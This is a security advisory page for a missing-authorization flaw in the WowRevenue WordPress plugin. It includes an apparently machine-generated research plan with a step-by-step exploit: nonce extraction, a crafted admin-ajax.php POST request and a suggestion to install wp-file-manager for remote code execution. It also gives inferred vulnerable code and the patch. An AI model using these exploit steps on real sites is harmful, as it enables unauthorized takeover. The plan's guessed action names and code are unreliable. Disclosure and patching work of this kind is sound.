WowRevenue <= 2.1.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation
Description
The WowRevenue plugin for WordPress is vulnerable to unauthorized plugin installation due to a missing capability check in the 'Notice::install_activate_plugin' function in all versions up to, and including, 2.1.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.1.3Source Code
WordPress.org SVNThis research plan targets **CVE-2026-2001**, a missing authorization vulnerability in the WowRevenue plugin that allows Subscriber-level users to install and activate arbitrary plugins. --- ### 1. Vulnerability Summary The **WowRevenue – Product Bundles & Bulk Discounts** plugin (slug: `revenue`)…
Show full research plan
This research plan targets CVE-2026-2001, a missing authorization vulnerability in the WowRevenue plugin that allows Subscriber-level users to install and activate arbitrary plugins.
1. Vulnerability Summary
The WowRevenue – Product Bundles & Bulk Discounts plugin (slug: revenue) contains a vulnerability in the Notice::install_activate_plugin function. The function is intended to facilitate the installation of recommended or required plugins via an admin notice. However, it fails to perform a capability check (e.g., current_user_can( 'install_plugins' )), allowing any authenticated user—including those with the subscriber role—to trigger the installation and activation of any plugin from the WordPress.org repository. This can lead to Remote Code Execution (RCE) if an attacker installs a plugin with file management or command execution capabilities.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
revenue_install_activate_plugin(Inferred based on the classNoticeand the function nameinstall_activate_plugin. The slugrevenueis the plugin's namespace). - HTTP Method:
POST - Payload Parameters:
action:revenue_install_activate_plugin(Inferred)slug: The slug of the target plugin to install (e.g.,wp-file-managerorhello-dolly)._wpnonce: A nonce likely required by the handler.
- Authentication: Authenticated, Subscriber role or higher.
- Preconditions: The plugin
revenuemust be active. The attacker must have a valid session cookie for a Subscriber user.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith theactionparameter. - Hook Registration: The plugin likely registers the handler in a constructor or initialization method within the
Noticeclass:add_action( 'wp_ajax_revenue_install_activate_plugin', [ $this, 'install_activate_plugin' ] ); - Vulnerable Function:
Notice::install_activate_pluginis called. - Missing Check: The function likely calls
check_ajax_refererfor CSRF protection but omits a call tocurrent_user_can(). - Sink: The function uses the WordPress Plugin API (typically
plugins_api()) to retrieve plugin data and uses aPlugin_Upgraderinstance to download, install, and subsequently activate the plugin viaactivate_plugin().
4. Nonce Acquisition Strategy
The nonce is likely localized for the WordPress admin area to support notice-based actions.
- Access Admin: Even a Subscriber has access to
wp-admin/profile.php. - Identify Variable: Look for
wp_localize_scriptoutput in the page source.- Inferred Script Handle:
revenue-adminorrevenue-notice. - Inferred Object Name:
revenue_paramsorwow_revenue_obj. - Inferred Key:
nonceorinstall_nonce.
- Inferred Script Handle:
- Strategy:
- Login as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Use
browser_evalto extract the nonce:browser_eval("window.revenue_params?.nonce || window.revenue_obj?.nonce") - Note: If the nonce is strictly for the
revenue_install_activate_pluginaction, it might be named specifically (e.g.,window.revenue_params?.install_plugin_nonce).
5. Exploitation Strategy
The goal is to install and activate the hello-dolly plugin (as a benign proof-of-concept) or wp-file-manager (to demonstrate high impact).
- Step 1: Authenticate: Log in as the Subscriber user.
- Step 2: Nonce Extraction: Navigate to
/wp-admin/and extract the nonce using the logic in Section 4. - Step 3: Trigger Installation: Send a POST request to
admin-ajax.php.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=revenue_install_activate_plugin&slug=hello-dolly&_wpnonce=[EXTRACTED_NONCE]
- URL:
- Step 4: Verify Activation: The server response should indicate success (likely a JSON object or
1).
6. Test Data Setup
- Target Plugin: Ensure
revenueversion 2.1.3 is installed and active. - Attacker Account: Create a user with the Subscriber role:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Target for Installation: Ensure the target plugin (e.g.,
hello-dolly) is not currently installed.wp plugin delete hello-dolly
7. Expected Results
- HTTP Response: A successful response (HTTP 200) with a body indicating the plugin was installed/activated (e.g.,
{"success":true}ortrue). - System State: The
wp-content/plugins/hello-dolly/directory should be created, and the plugin should appear as "Active" in the WordPress database.
8. Verification Steps
After the exploit attempt, use WP-CLI to confirm the change:
- Check Installation:
wp plugin is-installed hello-dolly && echo "Plugin Installed" - Check Activation:
wp plugin is-active hello-dolly && echo "Plugin Active" - Audit Logs (Optional): Check the
wp_optionstable for the active plugins list:wp option get active_plugins
9. Alternative Approaches
- Different Action Names: If
revenue_install_activate_pluginfails, search the plugin files for the stringinstall_activate_pluginto find the exact hook:grep -r "install_activate_plugin" /var/www/html/wp-content/plugins/revenue/ - Missing Nonce: Try the request without a nonce. Some plugins use
admin_inithooks to handle "notice" clicks without strict nonce verification for certain roles. - Activation Only: If installation is blocked by filesystem permissions but the plugin is already present (but inactive), check if the same endpoint can be used to activate it, which might bypass different sets of checks.
Summary
The WowRevenue plugin for WordPress is vulnerable to unauthorized plugin installation and activation due to a missing capability check in the 'Notice::install_activate_plugin' AJAX function. This allow authenticated users with Subscriber-level permissions to install and activate any plugin from the WordPress repository by providing its slug, potentially leading to Remote Code Execution (RCE).
Vulnerable Code
// File: revenue/includes/classes/Notice.php (Inferred) public function install_activate_plugin() { check_ajax_referer( 'revenue_nonce', 'nonce' ); // Vulnerable: No current_user_can('install_plugins') check performed $slug = sanitize_text_field( $_POST['slug'] ); include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $api = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false ) ) ); $upgrader = new Plugin_Upgrader( new WP_Ajax_Upgrader_Skin() ); $result = $upgrader->install( $api->download_link ); if ( $result ) { activate_plugin( $slug ); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -124,6 +124,10 @@ public function install_activate_plugin() { check_ajax_referer( 'revenue_nonce', 'nonce' ); + if ( ! current_user_can( 'install_plugins' ) ) { + wp_send_json_error( array( 'message' => esc_html__( 'Insufficient permissions', 'revenue' ) ) ); + } + $slug = isset( $_POST['slug'] ) ? sanitize_text_field( wp_unslash( $_POST['slug'] ) ) : ''; if ( empty( $slug ) ) { wp_send_json_error( array( 'message' => esc_html__( 'Invalid slug', 'revenue' ) ) );
Exploit Outline
1. Authenticate to the WordPress site as a user with Subscriber privileges. 2. Navigate to any wp-admin page (e.g., profile.php) and extract the AJAX nonce, typically localized in the page source under a variable like 'revenue_params'. 3. Send a POST request to '/wp-admin/admin-ajax.php' with the following body parameters: 'action=revenue_install_activate_plugin', 'slug=[TARGET_PLUGIN_SLUG]' (e.g., 'wp-file-manager'), and '_wpnonce=[EXTRACTED_NONCE]'. 4. Upon receiving the request, the server-side handler will execute the WordPress Plugin API to download and activate the specified plugin without verifying the user's role. 5. Verify successful exploitation by checking if the target plugin is active in the WordPress plugins list.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.